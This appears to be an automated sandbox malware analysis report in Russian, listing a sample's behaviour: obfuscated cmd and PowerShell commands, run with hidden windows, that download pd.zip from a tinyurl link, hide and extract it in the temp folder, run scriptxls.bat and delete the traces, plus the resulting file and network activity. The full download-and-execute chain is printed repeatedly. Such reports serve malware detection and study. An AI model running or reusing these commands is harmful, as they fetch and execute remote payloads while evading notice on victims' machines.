Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c p^ower^shell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('ht'+'tp://tinyurl.com/y27e58x4'),'pd.zip')
- '<SYSTEM32>\cmd.exe' /c p^ower^shell -w 1 Start-Sleep 10; Move-Item "pd.zip" -Destination "$env:temp"
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $env:temp; Start-Sleep 12; (get-item pd.zip).Attributes += 'Hidden'
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $env:temp; Start-Sleep 15; tar -xvzf pd.zip
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $env:temp;Start-Sleep 17;(get-item scriptxls.bat).Attributes= 'Hidden'
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 18; Remove-Item -Path $env:temp\pd.zip -Force
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 25;cd $env:temp; .\scriptxls.bat
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 40; Remove-Item -Path $env:temp\scriptxls.bat -Force
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\documents\pd.zip
Сетевая активность
TCP
Запросы HTTP GET
- http://ti##url.com/y27e58x4
UDP
- DNS ASK ti##url.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c p^ower^shell -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('ht'+'tp://tinyurl.com/y27e58x4'),'pd.zip')' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ower^shell -w 1 Start-Sleep 10; Move-Item "pd.zip" -Destination "$env:temp"' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $env:temp; Start-Sleep 12; (get-item pd.zip).Attributes += 'Hidden'' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $env:temp; Start-Sleep 15; tar -xvzf pd.zip' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 cd $env:temp;Start-Sleep 17;(get-item scriptxls.bat).Attributes= 'Hidden'' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 18; Remove-Item -Path $env:temp\pd.zip -Force' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 25;cd $env:temp; .\scriptxls.bat' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c p^ow^ershell -w 1 Start-Sleep 40; Remove-Item -Path $env:temp\scriptxls.bat -Force' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 cd $env:temp; Start-Sleep 15; tar -xvzf pd.zip
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 cd $env:temp; Start-Sleep 12; (get-item pd.zip).Attributes += 'Hidden'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Sleep 10; Move-Item "pd.zip" -Destination "$env:temp"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Sleep 40; Remove-Item -Path $env:temp\scriptxls.bat -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oBje`cT Net.WebcL`IENt).('DownloadFile').Invoke(('ht'+'tp://tinyurl.com/y27e58x4'),'pd.zip')
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 cd $env:temp;Start-Sleep 17;(get-item scriptxls.bat).Attributes= 'Hidden'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Sleep 18; Remove-Item -Path $env:temp\pd.zip -Force
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 Start-Sleep 25;cd $env:temp; .\scriptxls.bat
